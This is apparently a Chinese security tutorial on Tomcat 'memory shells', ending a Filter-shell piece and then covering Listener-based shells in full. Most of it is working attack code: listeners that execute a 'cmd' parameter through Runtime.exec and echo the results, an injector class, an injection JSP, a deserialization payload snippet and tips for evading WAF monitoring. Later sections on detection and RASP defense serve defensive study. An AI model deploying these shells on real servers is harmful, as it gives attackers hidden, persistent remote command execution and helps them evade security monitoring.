# 1. 导出当前 Filter 列表
curl -s http://localhost:8080/manager/html/list # 需要 manager 权限
# 2. 对比基线
diff baseline_filters.txt current_filters.txt
# 3. 检查可疑特征
grep -E "cmd|exec|Runtime|ProcessBuilder" WEB-INF/lib/*
7.3 开发规范
// 反序列化白名单
public class SafeObjectInputStream extends ObjectInputStream {
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) {
if (!isAllowed(desc.getName())) {
throw new InvalidClassException("Unauthorized deserialization");
}
return super.resolveClass(desc);
}
}
八、总结
Filter 内存马的核心在于理解 Tomcat 的 Filter 加载机制:
- 知道目标:
StandardContext中的filterDefs、filterMaps、filterConfigs - 获取入口:通过反射链获取
StandardContext对象 - 动态注册:构造并插入
FilterDef+FilterMap - 触发执行:恶意 Filter 拦截所有匹配的请求,实现持续控制
Filter 内存马的隐蔽性极高,传统的文件扫描、日志审计难以发现。防御的关键在于:
- 事前:修复反序列化等 RCE 漏洞,切断注入入口
- 事中:部署 RASP 进行运行时行为监控
- 事后:周期性 JVM 内存取证,对比 Filter 基线
延伸阅读:Tomcat Servlet 内存马 Tomcat Listener 内存马 Tomcat基础
Tomcat Listener 内存马
Listener 内存马
Listener(监听器)型内存马利用 Tomcat 的事件监听机制,在特定事件(如请求到达、Session 创建)触发时执行恶意代码。相比 Filter 和 Servlet 型内存马,Listener 型具有更高的隐蔽性 —— 大多数安全产品不监控 Listener 的注册行为。
一、Tomcat Listener 机制
1.1 什么是 Listener
Listener 是 Servlet 规范中的观察者模式实现,用于监听 Web 应用中的生命周期事件。Tomcat 容器在特定事件发生时,会调用已注册的 Listener 回调方法。
事件源(Event Source) 事件(Event) 监听器(Listener)
───────────────────── ─────────────────── ────────────────────
Context 启动 ServletContextEvent contextInitialized()
请求到达 ServletRequestEvent requestInitialized()
请求结束 ServletRequestEvent requestDestroyed()
Session 创建 HttpSessionEvent sessionCreated()
Session 销毁 HttpSessionEvent sessionDestroyed()
属性变更 ServletContextAttributeEvent attributeAdded()
1.2 Listener 类型总览
| 监听器接口 | 触发时机 | 适用场景 |
|---|---|---|
ServletContextListener |
应用启动 / 关闭 | 一次性初始化逻辑 |
ServletRequestListener |
每个请求到达 / 完成 | 每条请求都可触发 ← 内存马首选 |
HttpSessionListener |
Session 创建 / 销毁 | 隐蔽性好(低频触发) |
ServletRequestAttributeListener |
请求属性变更 | 特定场景 |
HttpSessionAttributeListener |
Session 属性变更 | 特定场景 |
ServletContextAttributeListener |
Context 属性变更 | 隐蔽性极高 |
1.3 Listener 的注册与调用流程
// StandardContext 中维护的 Listener 列表
public class StandardContext extends ContainerBase implements Context {
// 应用级监听器(通过 web.xml 或 @WebListener 注册)
private List<Object> applicationEventListenersList = new CopyOnWriteArrayList<>();
// 生命周期监听器(框架内部使用)
private List<Object> lifecycleListeners = new CopyOnWriteArrayList<>();
// 添加监听器
public void addApplicationEventListener(Object listener) {
applicationEventListenersList.add(listener);
}
}
请求到达时的调用链:
CoyoteAdapter.service()
→ StandardEngineValve.invoke()
→ StandardHostValve.invoke()
→ StandardContextValve.invoke()
→ StandardWrapperValve.invoke()
→ ApplicationFilterChain.doFilter()
关键点:ServletRequestListener.requestInitialized() 在 Filter 链之前调用,这意味着 Listener 的执行优先级高于 Filter。
二、动态注册原理
2.1 注册方式对比
| 注册方式 | 示例 | 动态性 |
|---|---|---|
web.xml |
<listener-class> |
静态 |
| 注解 | @WebListener |
静态 |
| 代码调用 | context.addApplicationEventListener() |
动态 ← 攻击面 |
addApplicationEventListener() 方法是 public 的,不需要反射即可调用,是天然的内存马注入入口。
2.2 动态注册步骤
1. 编写恶意 Listener 类(实现 ServletRequestListener)
2. 获取 StandardContext 对象(反射链)
3. 调用 context.addApplicationEventListener(maliciousListener)
4. 无需额外配置 —— 下一个请求到达时自动触发
相比 Filter 内存马,Listener 内存马的注入步骤更少:
- 不需要构造
FilterDef/FilterMap - 不需要手动创建
ApplicationFilterConfig - 不需要关心数组排序
三、完整代码实现
3.1 恶意 Listener 类(基础版)
import javax.servlet.ServletRequest;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.Scanner;
/**
* 基于 ServletRequestListener 的内存马
* 每个 HTTP 请求都会触发 requestInitialized()
*/
public class ListenerMemShell implements ServletRequestListener {
@Override
public void requestInitialized(ServletRequestEvent sre) {
ServletRequest servletRequest = sre.getServletRequest();
HttpServletRequest request = (HttpServletRequest) servletRequest;
// 提取命令参数
String cmd = request.getParameter("cmd");
if (cmd != null && !cmd.isEmpty()) {
try {
// 执行命令
Process process;
if (System.getProperty("os.name").toLowerCase().contains("windows")) {
process = Runtime.getRuntime().exec(
new String[]{"cmd.exe", "/c", cmd});
} else {
process = Runtime.getRuntime().exec(
new String[]{"/bin/sh", "-c", cmd});
}
// 读取命令输出
InputStream inputStream = process.getInputStream();
Scanner scanner = new Scanner(
inputStream,
System.getProperty("sun.jnu.encoding")
).useDelimiter("\\A");
String result = scanner.hasNext() ? scanner.next() : "";
// 回显 —— 通过反射获取 Response 对象
// 注意:servletRequest 实际类型是 RequestFacade
// 需先获取内部 Request,再从中取 response 字段
Field reqField = servletRequest.getClass()
.getDeclaredField("request");
reqField.setAccessible(true);
Object innerRequest = reqField.get(servletRequest);
Field responseField = innerRequest.getClass()
.getDeclaredField("response");
responseField.setAccessible(true);
HttpServletResponse response = (HttpServletResponse)
responseField.get(innerRequest);
response.getWriter().write("<pre>" + result + "</pre>");
scanner.close();
} catch (Exception ignored) {
// 静默处理,不影响正常业务
}
}
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {
// 无需操作
}
}
3.2 恶意 Listener 类(增强版 —— 多重监听器)
import javax.servlet.*;
import javax.servlet.http.*;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.Scanner;
/**
* 同时实现多个监听器接口,增加触发路径
*/
public class MultiListenerMemShell
implements ServletRequestListener,
HttpSessionListener,
ServletContextListener {
// ===== ServletRequestListener =====
@Override
public void requestInitialized(ServletRequestEvent sre) {
executeCommand(sre.getServletRequest());
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {}
// ===== HttpSessionListener =====
@Override
public void sessionCreated(HttpSessionEvent se) {
// Session 创建时:从 Session 属性中获取命令
HttpSession session = se.getSession();
String sessionCmd = (String) session.getAttribute("__cmd__");
if (sessionCmd != null && !sessionCmd.isEmpty()) {
executeCommand(sessionCmd);
session.removeAttribute("__cmd__");
}
}
@Override
public void sessionDestroyed(HttpSessionEvent se) {}
// ===== ServletContextListener =====
@Override
public void contextInitialized(ServletContextEvent sce) {
// 注入时机:如果能在此阶段注入,则后续所有请求都会被监听
// 通常在动态注入场景下,此处不会执行(应用已启动完毕)
}
@Override
public void contextDestroyed(ServletContextEvent sce) {}
/**
* 统一命令执行入口
*/
private void executeCommand(ServletRequest request) {
String cmd = request.getParameter("cmd");
if (cmd == null || cmd.isEmpty()) return;
try {
Process process = Runtime.getRuntime().exec(cmd);
InputStream inputStream = process.getInputStream();
Scanner scanner = new Scanner(inputStream).useDelimiter("\\A");
String result = scanner.hasNext() ? scanner.next() : "";
// 反射回显
// 注意:request 实际类型是 RequestFacade,需先获取内部 Request
Field reqField = request.getClass()
.getDeclaredField("request");
reqField.setAccessible(true);
Object innerRequest = reqField.get(request);
Field responseField = innerRequest.getClass()
.getDeclaredField("response");
responseField.setAccessible(true);
HttpServletResponse response = (HttpServletResponse)
responseField.get(innerRequest);
// 确保响应未提交
if (!response.isCommitted()) {
response.getWriter().write("<pre>" + result + "</pre>");
}
scanner.close();
} catch (Exception ignored) {
}
}
/**
* Session 场景的备用执行方法
*/
private void executeCommand(String cmd) {
try {
Process process = Runtime.getRuntime().exec(cmd);
InputStream inputStream = process.getInputStream();
Scanner scanner = new Scanner(inputStream).useDelimiter("\\A");
String result = scanner.hasNext() ? scanner.next() : "No output";
System.out.println("[ListenerShell] " + result);
scanner.close();
} catch (Exception ignored) {
}
}
}
3.3 注入器代码
import org.apache.catalina.core.StandardContext;
import java.lang.reflect.Field;
public class ListenerMemShellInjector {
/**
* 注入 Listener 内存马
* 核心:调用 StandardContext.addApplicationEventListener()
*/
public static void inject(StandardContext context) {
// Step 1: 检查是否已注入(防重复)
for (Object listener : context.getApplicationEventListeners()) {
if (listener.getClass().getName()
.equals("ListenerMemShell")) {
System.out.println("[!] Listener already injected.");
return;
}
}
// Step 2: 创建恶意 Listener 实例
ListenerMemShell listener = new ListenerMemShell();
// Step 3: 直接调用 public 方法注册(无需反射!)
context.addApplicationEventListener(listener);
System.out.println("[+] Listener memory shell injected.");
}
/**
* 从 request 获取 StandardContext 并注入
*/
public static void injectFromRequest(javax.servlet.ServletRequest request)
throws Exception {
// 获取 StandardContext(与 Filter 篇相同方法)
Field requestField = request.getClass().getDeclaredField("request");
requestField.setAccessible(true);
org.apache.catalina.connector.Request req =
(org.apache.catalina.connector.Request) requestField.get(request);
StandardContext context = (StandardContext) req.getContext();
inject(context);
}
}
3.4 触发注入的 JSP
<%@ page import="org.apache.catalina.core.*" %>
<%
try {
// 获取 StandardContext
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
// 一行注册
context.addApplicationEventListener(new ListenerMemShell());
out.println("[+] Listener memory shell injected!");
out.println("[+] Test: curl 'http://target/?cmd=whoami'");
} catch (Exception e) {
out.println("[-] Failed: " + e.getMessage());
}
%>
四、代码详解
4.1 为什么 Listener 注入最简单?
// Filter 内存马注入步骤(多步反射)
FilterDef filterDef = new FilterDef(); // Step 1
filterDef.setFilterName(name); // Step 2
filterDef.setFilterClass(className); // Step 3
context.addFilterDef(filterDef); // Step 4
FilterMap filterMap = new FilterMap(); // Step 5
filterMap.addURLPattern("/*"); // Step 6
context.addFilterMap(filterMap); // Step 7
// 还需要反射创建 ApplicationFilterConfig... // Step 8
// Listener 内存马注入(一步到位)
context.addApplicationEventListener(maliciousListener); // DONE ✓
addApplicationEventListener() 是 Context 接口的 public 方法,直接可用,无需任何反射操作来辅助注册。
4.2 回显的技术细节
Listener 的 requestInitialized 方法只接收 ServletRequestEvent 参数,无法直接获取 HttpServletResponse。需要通过两步反射:
// Tomcat 内部结构
// ServletRequestEvent.getServletRequest() → RequestFacade
// └── request 字段 → org.apache.catalina.connector.Request
// └── response 字段 → org.apache.catalina.connector.Response
关键点:RequestFacade 只有 request 字段(指向内部 Request),没有 response 字段。getDeclaredField() 只查找当前类声明的字段,不会向上搜索父类。因此必须:
// Step 1: 从 RequestFacade 中取出内部 Request
Field reqField = servletRequest.getClass().getDeclaredField("request");
reqField.setAccessible(true);
Object innerRequest = reqField.get(servletRequest);
// Step 2: 从内部 Request 中取出 Response
Field responseField = innerRequest.getClass().getDeclaredField("response");
responseField.setAccessible(true);
HttpServletResponse response = (HttpServletResponse) responseField.get(innerRequest);
4.3 防重复注入
// 检查当前已注册的 Listener
for (Object listener : context.getApplicationEventListeners()) {
if (listener.getClass().getName().equals("ListenerMemShell")) {
return; // 已注入
}
}
4.4 三种内存马优先级关系
HTTP 请求到达
↓
① Listener.requestInitialized() ← 最早执行
↓
② Filter.doFilter() ← 中间拦截
↓
③ Servlet.service() ← 最后处理
Listener 在所有组件中最先被调用,这意味着即使 Filter 链中抛出异常或返回错误,Listener 的逻辑也已执行完毕。
五、利用场景
5.1 反序列化 → Listener 注入(最隐蔽)
// 反序列化 payload 中的代码片段
// 优势:不修改 FilterDef / FilterMap / Wrapper,躲过绝大多数监控
StandardContext context = (StandardContext) request.getContext();
context.addApplicationEventListener(new ListenerMemShell());
5.2 绕过 Filter 监控型 WAF
WAF 监控:
✅ filterDefs 变化
✅ filterMaps 变化
❌ applicationEventListenersList 变化(盲区)
攻击者 → 注入 Listener 内存马 → WAF 完全无感知
5.3 Session 型内存马(低频隐蔽通道)
不通过 URL 参数,而是通过 Session 属性传递命令:
// 访问一个普通页面(创建 Session)
GET /index.html
Cookie: JSESSIONID=ABC123
// 在 Session 中设置命令(通过其他漏洞,如反序列化)
session.setAttribute("__cmd__", "whoami");
// 再次访问,触发 session 事件(如 Session 过期重新创建)
// → sessionCreated() → 读取 __cmd__ → 执行 → 清除属性
这种方式不通过 URL 参数传递命令,流量特征极小。
5.4 冰蝎 / 哥斯拉适配
// 冰蝎 Listener 内存马适配
public class BehinderListenerMemShell implements ServletRequestListener {
@Override
public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
// 解析冰蝎加密数据
String encryptedData = request.getHeader("X-BeHinder");
if (encryptedData != null) {
String decrypted = BehinderCrypto.decrypt(encryptedData);
// ... 执行逻辑
}
}
}
六、检测方式
6.1 JMX 检查
# 查看所有应用事件监听器
jconsole → MBeans → Catalina → Context → /your-app
→ Operations → findApplicationListeners()
6.2 Arthas 在线排查
# 查看 StandardContext 中的监听器列表
vmtool --action getInstances \
--className org.apache.catalina.core.StandardContext \
--express 'instances[0].applicationEventListenersList' \
--limit 10
# 搜索实现了 Listener 接口的可疑类
sc *.*Listener
# 查看所有 ServletRequestListener 实例
vmtool --action getInstances \
--className javax.servlet.ServletRequestListener \
--express 'instances' \
--limit 20
6.3 内存分析
# Dump 内存
jmap -dump:live,format=b,file=listener.hprof <pid>
# MAT 中搜索
# 1. 列出所有实现 ServletRequestListener 的实例
# 2. 检查类名是否在应用依赖中
# 3. 对比部署包中 web.xml 的监听器配置
6.4 运行时代码扫描
// 获取所有已注册监听器
for (Object listener : context.getApplicationEventListeners()) {
String className = listener.getClass().getName();
// 过滤标准库类
if (className.startsWith("org.apache.") ||
className.startsWith("org.springframework.")) {
continue;
}
// 检查类来源(jar 包/动态生成)
ProtectionDomain pd = listener.getClass().getProtectionDomain();
CodeSource cs = pd.getCodeSource();
System.out.println("[CHECK] " + className + " → " + cs.getLocation());
}
七、防御建议
| 层面 | 措施 | 说明 |
|---|---|---|
| RASP | Hook addApplicationEventListener() |
监控非启动阶段的调用 |
| JVM Agent | 监控 applicationEventListenersList 的 add() 操作 |
捕获动态注入行为 |
| Security Manager | 限制反射访问 Request.response 字段 |
阻断回显通道 |
| 巡检脚本 | 定期对比 Listener 基线 | 发现异常监听器 |
// RASP Hook 示例:拦截 Listener 动态注册
@RuntimeType
public static void onAddEventListener(@This StandardContext context,
@Argument(0) Object listener) {
// 判断是否在启动阶段
StackTraceElement[] stack = Thread.currentThread().getStackTrace();
for (StackTraceElement frame : stack) {
if (frame.getClassName().contains("ContextConfig")) {
return; // 正常启动流程,放行
}
}
// 非启动阶段的 addApplicationEventListener → 告警
SecurityAlert.alert("Suspicious Listener registration",
listener.getClass().getName(), stack);
throw new SecurityException("Runtime Listener injection blocked");
}
八、总结
Listener 内存马是三种 Tomcat 内存马中隐蔽性最高的一种:
| 特性 | Filter | Servlet | Listener |
|---|---|---|---|
| 注入难度 | ⭐⭐⭐ | ⭐⭐ | ⭐(最简单) |
| 触发时机 | Filter 链 | Servlet 处理 | 请求到达瞬间 |
| 隐蔽性 | ⭐⭐⭐ | ⭐⭐⭐⭐ | ⭐⭐⭐⭐⭐(最高) |
| 监控覆盖 | 常见 | 较少 | 极少 |
核心理由:
context.addApplicationEventListener()是 public 方法,无需反射- Listener 在 Filter 之前执行,不受 Filter 链影响
- 大多数安全产品不监控 Listener 注册
applicationEventListenersList是CopyOnWriteArrayList,可以随时安全地动态添加
攻击者偏好排序(综合隐蔽性与功能):
- Listener — 最隐蔽,最简单
- Filter — 最灵活,覆盖面最广
- Servlet — 备选通道,特定场景
延伸阅读:Tomcat Filter 内存马 Tomcat Servlet 内存马 Tomcat基础